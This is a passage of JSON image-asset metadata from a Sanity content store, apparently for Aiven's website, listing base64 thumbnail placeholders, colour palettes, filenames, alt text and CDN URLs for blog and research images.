Z2OowYWmBIUwPtMtrzIS657wab8snJrZo5gnc+dwTvNDuDC4PO0ILOGVrQOkMLyKQ/gtjcQcTmDSOISmnjlxas8q/gN1WNV1EvwkdXnL3oXWsbDA81/dOjqlOMy2v2Qh8AwGi1fWMat0+ZbRPrZtvEv4dtk+smq31dpRla75X3rauHdOv9yv6NzuaKDYug7Kd5bav3nkvpeHLb5Hoc1k0/8CsdK5PtdbNmdvSrV2DV9xOsBkVg3KCAW9iMSmhCeiC/mQVZdDLsl3Kh/oYUajvZv45112uW9C1nnwWUXz6LmDPW5kezHkWMx+75FHGLNtEfAYAA+PWS/IBB4gsYpGjAKMWCJhnmVAswcR0FqystxBAxC3Wq2+C4ovXpSNc1rknK2PXcVbl9ySbcMTcu2Rm29f9+xo7s8Iypt1XSaQDM6ET5M3qxL2hoR4OGdixklKC+QSGmETIwad1VzChloo4bLXC0+9qaUcq8ruto2DW7Brc7HJ4dFt/qtic+EfhhxgIiHhNI2wMAcA9cJ7jV3IAH4cFphA89CB86VRxoktZCDZ8OzR1MONJZB4dE1c/U/Eq+VtoYE56de93rdv0h4PXsDHtt236wC0HArgGnKQoAhjtqc0ZkzKHRLtbdse765dGuumWztGZ5sI3+Cp2w8i7CK/9RwSaH5I2l1Uoe4y+RxZWdbpfjNd+093c+rw/8j1fTd614n7KJRLzZUspErlOZGh6Nqb5OZQ60kpkDHApT1UKulTeQWDLmJbqUUXREWlv8p627YaQPuJ2OVyL/b4T/AT65pDF5TqPnAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#62373a","foreground":"#fff","population":0.83,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f3b1b","foreground":"#fff","population":0.41,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4c5ac","foreground":"#000","population":4.91,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2c7d4","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4c5ac","foreground":"#000","population":4.91,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d8a98","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce722d","foreground":"#fff","population":0.49,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aivener-group-collage-2.png","path":"images/sczeoy4w/production/62ed03fedf05eabe2577fca6762ab73c095d49df-1212x1212.png","sha1hash":"62ed03fedf05eabe2577fca6762ab73c095d49df","size":356509,"uploadId":"AVa59Agf088SaNm2jXkyB6Sh0lQgNpBQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/62ed03fedf05eabe2577fca6762ab73c095d49df-1212x1212.png"} {"_createdAt":"2023-01-31T14:00:24Z","_id":"image-994d0873a6115fc21b1d3283380747720767b697-2500x2500-png","_rev":"iop8tFFqgfe67JrEalUGHp","_type":"sanity.imageAsset","_updatedAt":"2023-01-31T14:00:24Z","assetId":"994d0873a6115fc21b1d3283380747720767b697","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGDvH6574,^60J00RP_2NG%M.m$hI9FxrrVYX9tRwJS3MJIpo~-US#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#33325a","foreground":"#fff","population":0.83,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#062090","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f15422","foreground":"#fff","population":2.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1c7da","foreground":"#000","population":0.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e49c6c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646a91","foreground":"#fff","population":0.86,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f15422","foreground":"#fff","population":2.96,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"research-cover-2023-state-of-data-management-solutions-for-digital-natives.png","path":"images/sczeoy4w/production/994d0873a6115fc21b1d3283380747720767b697-2500x2500.png","sha1hash":"994d0873a6115fc21b1d3283380747720767b697","size":347974,"uploadId":"fxIikXzy1SkmSOPruI720ObCAUSmNTyS","url":"https://cdn.sanity.io/images/sczeoy4w/production/994d0873a6115fc21b1d3283380747720767b697-2500x2500.png"} {"_createdAt":"2022-11-21T11:50:46Z","_id":"image-42c82e12aa80ba470a9e4647e2da65174cc38425-1569x1114-png","_rev":"bUMlF7B1Xxw34pzcKtlKN4","_type":"sanity.imageAsset","_updatedAt":"2022-11-21T11:51:56Z","altText":"Screenshot for how to use the Aiven API and Postman to make an API call: forking the collection","assetId":"42c82e12aa80ba470a9e4647e2da65174cc38425","description":"Example of the first step in our API call process.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4084380610412925,"height":1114,"width":1569},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACOklEQVQ4jWWSCW4bMQxFff9z9QwFGqMF2tjOeGY02iiSWllQsZMuBj4kc4Sn/ymejm09W2MOexzpMDts6x3W+wL7toLZNzD7Omv35Q3W5Q3Mo/56u8P55xv8urzB7XaD2/UCy+0STocxr845ijH2GGPz3nVrbffO9RRDR4g9htC1risRdiLqd5v69yX2xYR+ON+tcy14V07rslyPw+QQgkCMEmMU770E7wViEEpJMpNkZimlSGttCnMVl7IAsiCraHDmftrX9WIPw85acc6NEMKU93547+YKAIOZR2tt9N4/pP9rraO0OnItCmyn4P0VYswAoO4GIopKHVtrZdu2KXVNRJJz/ku1VoWr64FE7RRCuKaUsh4mInUiKo2uwPu6yrIssm6bGHPMmnPuvS0h6OUTqI7pCUTECdSPD7DECGKdl91YWfdDNvMuc9gJ0ws1FTN/AJm5nQDgA6iRn4dDiOIjiAuqJD6ieECJSS/kGffxSGOM8QlMKV2JaAL1Mf6M5LWPzonzQcKE8dQ7sGj/ZNJEPoFEdGXmrH3TyBpDNR/FOdl2I9u2z/gRkgAkSUkfjoQ5/++QmS/8/pvAlNKUxrcujP1wwxw6TnHW9QwiDSQeRDxKKQrUPvYn8MbM5QH80HSpvYww3fwxJo/hnqOizjT23OuUaOQfzByIiBGRHm51z1orpXBrbeq5VzP/qtZKiIj6KF8Q8SsinhHxhZnPT5VSzq218xhjrrXWqVLLOZc8vz+Vc35BxG+/AdGKM9Cjh32vAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#644c44","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c4277","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#156ec6","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6d7c2","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#92b6df","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c847c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#156ec6","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"fork-collection.png","path":"images/sczeoy4w/production/42c82e12aa80ba470a9e4647e2da65174cc38425-1569x1114.png","sha1hash":"42c82e12aa80ba470a9e4647e2da65174cc38425","size":244557,"title":"Screenshot for how to use the Aiven API and Postman to make an API call: forking the collection","uploadId":"sOIcDZymmdrW6IkRBL7s6X7725FeTXRa","url":"https://cdn.sanity.io/images/sczeoy4w/production/42c82e12aa80ba470a9e4647e2da65174cc38425-1569x1114.png"} {"_createdAt":"2022-11-16T07:44:56Z","_id":"image-33f55af451a8e137e7ae759f08a45e66ff7ebdb7-1567x844-png","_rev":"PJutSls1mvFq6xuKvmgMdN","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T07:45:28Z","altText":null,"assetId":"33f55af451a8e137e7ae759f08a45e66ff7ebdb7","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MdR91W{xWrKi#Qt6oLSNsljb;1F{bFwIS$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAChUlEQVQokU2Sy0tUURzHzzxyRqPGysqshZUg9lxE0ar6B3oQRFCUkAZmgZrNvfPQ250pY5px0sEaKwNzhiAFhVq1aFnQC4oWraJo4cYKengz8cz5xL0zmosPv9/5nXO+v8c5At0F4SUQ9UPUB2EvTkwXDsq2mkDNY69DLoi4mQt7mOku42+8nFnDz5zuQRDxQawKetZDTw1cWQvxKjBXFJPorpKIgC4PhVgZc9eW8jOxinfRGh63b+RJ1w5eRRuY7FyO4HIA+rbDzb3QvxN6G+DGVkjVo8yVqJDbEZOXvfxIVDI5UM/HoX28uH2Qu8ZROpoPcencMfpbDvC6ZeViwT2QrIP4miKxKlS0HKXZI3HzO+7nWWwTjwYaeTrex/iDAQYyKUzTJBwO0XvhCK8vVCOc+dntxVdD11KwK1o0PxUUEPHwzaxgpL2eZLyT0dExstksmUyGXC7HyP1hJtLtfDK2IOYvLzyE9p8Fwaibr2Y5t1s3o7WfpTd9A10LYhjd5PN58vkcE+kOPpvbEIsFHBYSFAULjqCLKdNHtqWWttZTJBJJEokEyVSKbHaQ1PUEd7TjfAjWIpQulNJdJWxfKKWVrC5UISgUUZeaMn0q07RBNZ44rK5e7VGjD0bUw+FBNZw21GD4tBpr3aU+tQWUcL6GsRyMZRApK7ZeqtRp2fYjgu+Gn3tNNTQf3E364kmeDwV5e+sMb2L7eR+s40tHgOlONwIjILlSLYmvkXRVSHSXRBMSXUhlY/shIf+EvfLV+Uo50bhOvmyrlVOxOvnLqJbTeoWc1TyyoBXP2q9sEfVbRHwWIY+FLiw04VhlU/ILmrBmgh7rT9BrzWkuJ+7slXDO6sL6B1+zI0LSGy2kAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4835","foreground":"#fff","population":0.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#882b04","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":58.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bdd1","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5c478","foreground":"#000","population":0.52,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#64947c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":58.78,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Huuva_customer_story_blog2.png","path":"images/sczeoy4w/production/33f55af451a8e137e7ae759f08a45e66ff7ebdb7-1567x844.png","sha1hash":"33f55af451a8e137e7ae759f08a45e66ff7ebdb7","size":274011,"title":"\"Apache Kafka to go\" [A chef packing a lunch in a paper bag]","uploadId":"z0gVarINB91Yi4JOzsH11VHyQj1jtDun","url":"https://cdn.sanity.io/images/sczeoy4w/production/33f55af451a8e137e7ae759f08a45e66ff7ebdb7-1567x844.png"} {"_createdAt":"2022-11-21T11:27:04Z","_id":"image-fe5f015198ae26c97756344f0b0c075cf675de46-512x512-png","_rev":"bUMlF7B1Xxw34pzcKthhRG","_type":"sanity.imageAsset","_updatedAt":"2022-11-21T11:28:55Z","altText":"Ahmed Sobeh","assetId":"fe5f015198ae26c97756344f0b0c075cf675de46","description":"Engineering Manager, Aiven OSPO","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eWDItLWBS~R+$$~CayX9WVs.xaj[s:ofRkNHoexGofM|R+ofxZf7R*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEn0lEQVQ4jQXBWVdSeQAA8Ps4Y7kgIotwgbtwlz93YxNQWWRRQJMLmblRubU6lVGZkoYaSKCQYqThkmlZU9Oc5vTYmTlzTnPO9DgP8zJfYB7mQ8zvBx2XV4/Lq6+3cm+fFz5Uiy83sjNTF9pbbYCiAU2TBMECY39fT2l5/rCce7mROankP+5tfNwvv90pQa82Msdbubfbaz/tPv1QLZYzqanz4lC3ZyraNd7rFztsHRyIdLoy83febK+fbK+9qeRPnhdOttdelXPQ/vrS7vrS4Wb2x53i8bP88r3pmeHo4ezkt0r6z63FnxeuPOgPxrzO1My1d9WN99XS8VbuqLx6UFqprKag7dzDcubBZmautDw/e/PqSKw3ORD5kpv59/3T/z6W/9lNv7w1nAh23JwYPdjMvX6W3yuuHBRXqvnF8sosVF6ZXX90dyF5IzE40OZsc5iFaTF4dG/sa3H222bqc/p65Wr/9R7PSF84ff/Wi7XlF4V0tZCu5hd3cino6dL9zNztqYsJtzfAmu0Bj3dpfOBD6vKvuTtfsjOvkxf3pgeXRnrjAe/YyFA5u3i4md0vPd5bX9pfS0OVzFxmbubC6IVgON7ZLUbPiNmrid/y9/7ezf618/hr/u6n1OVHiXiPPxDtExfu3totPn7zvHBSKZw8ewJVM3OPktOJxFjs/FhPfDQQjEyK4aP7E38UU78XZj+lrpQm4kNdPpfL5/GF4mIseeNyJbf4fmf908EmNH99PHF+IN4/cnZ4MiIOO9o7Aw77ckL8vPjDL6lrGxOxS35Hm9liae1o83R5A5FQqGcyMby2kDwuZyG/t7M7HI0PjsUGLgXCcavDbeH4yS7P0e2xd8mJBzG/nwcMYDmz3eULh/oGgpF4sLt39Fz84c0piGaEYFjsHxqPRAfbPd02p5fnLG4jmOx0Xgt2dDEkrdXiOMnwNpcvEhEHz5wdDYREn7dzKBqGUJy0OdzeQK/LFxYsbSZru9niZPQYr1AxcjnaKIVlCq0WIWnO6Qp2957rEYfcvrDD7oz43ZBWhyIYgRNGI2clKJYEvMniZHHa2KSkG2RYQ5O2WQnDOsxAWR3uQDjuD4mC1cmyvKetFYJ1iBrWyZUtetSA4SSCEQxvEWjepNKZZS10k1Kv0iCogQK8vd3nC4lOV4CgWIKkrWYThGAEghJypVqpUuv1qB7BaCPPG00mGLPINaC5BdciJMXyZnuHt8vtC3OCDcVIkmIEwQxRgCcBr1LrGiTSJplcrYZxA8UA3qQnLAoYyNUkSgCjYLLYbQ4Xy1t0CI7iNAUEijJCgDXTjEkNI3X1ktO1DY1SWYtGSxBAQEmTQgMUGtpAs5zJZnOwnKBSw80KFWYAJOAQFIeMnJUVWnWIQSKRnjpdX1ffKFeqUYxg9AZOrgZKGBAAGHmOMyGYoVEqa1a04BRDAV6PYBAjtDK8TYfgDRJpzana+gapSqNDUAMJI0aZilbBJE4hGKGBkSaZoq5eolCpDRRD0qxWj0GAs1CA1+qxRqnsu+9P19ZJFEoNDCOYCgZNSkqpwfSYSq2VSJtrTtXV1NTKmhWwDtWjBh2C/Q9nJmzB0mS3VQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b3f45","foreground":"#fff","population":7.91,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c3420","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8d7e73","foreground":"#fff","population":8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8b9af","foreground":"#000","population":1.79,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4b398","foreground":"#000","population":3.66,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d7e73","foreground":"#fff","population":8,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a5654c","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"ahmed-sobeh.png","path":"images/sczeoy4w/production/fe5f015198ae26c97756344f0b0c075cf675de46-512x512.png","sha1hash":"fe5f015198ae26c97756344f0b0c075cf675de46","size":359829,"title":"Ahmed Sobeh","uploadId":"SmIVMgvtOXiqU3JETWS2Mr3M5rcAgDVH","url":"https://cdn.sanity.io/images/sczeoy4w/production/fe5f015198ae26c97756344f0b0c075cf675de46-512x512.png"} {"_createdAt":"2022-06-30T20:09:56Z","_id":"image-7dc390597cdb4fb144a1169af05319f20fdbfe32-1850x950-png","_rev":"XMqVxILwpPMz4xYxc7p4Qy","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:35:45Z","assetId":"7dc390597cdb4fb144a1169af05319f20fdbfe32","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7SiaB_NH?~qR5?bQ-g2R5Rjv$NGn4WARj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9473684210526316,"height":950,"width":1850},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABxUlEQVQokUWRu24cMQxF5/+/KHUCBAiSxk0KpzASA96HZmdGbz4k3kBaey2ADXF1eCgt5fyGcL0iHgdKTOBcoaJorc0SUVBlcCUoMxoLmgi63jPCDKoVVAlEhIXe3kCXMyQEUMhIa0COGcQMZkYphNsesW0eOSZQLpBaJ1RFUFJCPDxySsg5YxHv0WJAJ0LOhHULCCHNaTIukGD1GbcJjOBSocTTcNiFw2N3K6L378Cxhip670gkuIYEn/K0G+tWFuyx4AgJtZQJ0ZFvbQ7d1huupxP2bbsDmeUe6B0kCp8rUil34LAgQjk8SoiP3ni7mZ/AFZfTCce2fwDfJ46ACkItyLV+XqYKDTs4hU+73h/A2zC8XBC8RykFCzFba826dctS7Za8xZKNWUxVTbkap81q8saPrM2qRHZ1zk7nsx3eWynFlvHwY5qZIRPjFuNcefSHzTANMcC/Gwzrh2GtWM8XnP6+zo8Zn7aYmX5UYdE9Fs2lqojoOCSqR6q6+6gpZ2Vmba1pt66cix7PL7r+eFL/+4/ml3+6AHCjzMyJNleJHRE5EXGtNdd7d9q6E1Wnqo/eyGsuLj89u/Dlu0tff7n87af7D4SEBVHtfeV5AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344a4c","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9e0e29","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cbaab2","foreground":"#000","population":0.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbaab2","foreground":"#000","population":0.68,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ce6ec","foreground":"#000","population":0.1,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#539984","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e22552","foreground":"#fff","population":0.47,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7dc390597cdb4fb144a1169af05319f20fdbfe32-1850x950.png","path":"images/sczeoy4w/production/7dc390597cdb4fb144a1169af05319f20fdbfe32-1850x950.png","sha1hash":"7dc390597cdb4fb144a1169af05319f20fdbfe32","size":198975,"uploadId":"zgWvRQ4vytx9poqfomQNhd5MIPrNmf3a","url":"https://cdn.sanity.io/images/sczeoy4w/production/7dc390597cdb4fb144a1169af05319f20fdbfe32-1850x950.png"} {"_createdAt":"2022-11-16T08:20:35Z","_id":"image-57c4b2a03ed0f312768773c5b74b4c71c23e68a0-1422x800-png","_rev":"YI3rks3mbRtnzMpdn6tvBS","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T08:21:01Z","altText":"Zoom of the metro map demo showing Aiven for Apache Flink, Aiven for Apache Kafka and Aiven for ClickHouse","assetId":"57c4b2a03ed0f312768773c5b74b4c71c23e68a0","description":"Querying this table shows us the latest records consumed, so it’s no good on its own - you can’t query the same data twice without resetting the consumer group details. So what we’ll do instead is create a ClickHouse materialized view on top of it.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7775,"height":800,"width":1422},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB/ElEQVQokX2Sy4oTQRSG+1HduJBZ+ALzCrpQENSVCwdkiJOoiMxkhEzAMUZQEyfGJNNJt+l03atOXbo7fYt0glvhWxyK859Ffb/nh2y+jMONFLoAtwO341BhvkUsI2IrTaVsLU1NZRHTDNE0pilmGYcS3M5DzMXEEJFKU4HbKVtzKBFLN9hhljCZCciFrjDPImRibDA1hDkOhbK1p2y5pwJXg6ubsMoxbS6iZs8KSKUuCE9ipDABLiyYDJpI7UFSgS2lzARPlS6Uq4TeImo2AY8WBEeyCZucqRRTg6nkDGmg2qb7MMcijKLhYvVpFv9eS4IVR2QRhu/H4csvpD+VKFKAhESMRQL/0MGZDduazcFsPTPpsctz/1nn5sm727Ou+NYzv3qbD93xcWty9yR61Fajj4b0AF2pqGuDp/n0KP955MLXoLlnZgPe7QaPX00fni5bF2J0beaD9cXV8Lg9uHNy+6AjR31DP2s60Ljvohf5/H4+uZeEp6CZp5Xi/jo8Hy4619F3XzIBINEKj9/efH0+8C+nAhOwssEIJWY8eMP9liJTsNvmw7jMwiX3ZwRhp2wJScVUvlqq2YSs/+i9/+oAk8kqjFfBhoqk8dzoMRWHkqlC6ApsI0w2LwVVBYdGycEiuFroMqZZTDOh9yU5tErvOcz/R9nqXyl2fwE8iVUJvrd+gQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b4e67","foreground":"#fff","population":0.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b82082","foreground":"#fff","population":0.99,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b82082","foreground":"#fff","population":0.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4c4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6e39a","foreground":"#000","population":0.92,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#947c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7305","foreground":"#fff","population":0.67,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"metromap-step3-updated.png","path":"images/sczeoy4w/production/57c4b2a03ed0f312768773c5b74b4c71c23e68a0-1422x800.png","sha1hash":"57c4b2a03ed0f312768773c5b74b4c71c23e68a0","size":84165,"title":"Last stop: Aiven for ClickHouse","uploadId":"Z7V3PwBKExo6RYC6PebUHPeJLhMohOLf","url":"https://cdn.sanity.io/images/sczeoy4w/production/57c4b2a03ed0f312768773c5b74b4c71c23e68a0-1422x800.png"} {"_createdAt":"2023-01-24T08:28:50Z","_id":"image-7925b4d213e06ccdc34253bc909f607530d6aa2b-1500x1071-png","_rev":"xxq72TYoCux1QbSIdElf91","_type":"sanity.imageAsset","_updatedAt":"2023-01-24T08:36:04Z","altText":"Screenshot of selecting the Gradle dependency information from the Maven Repository 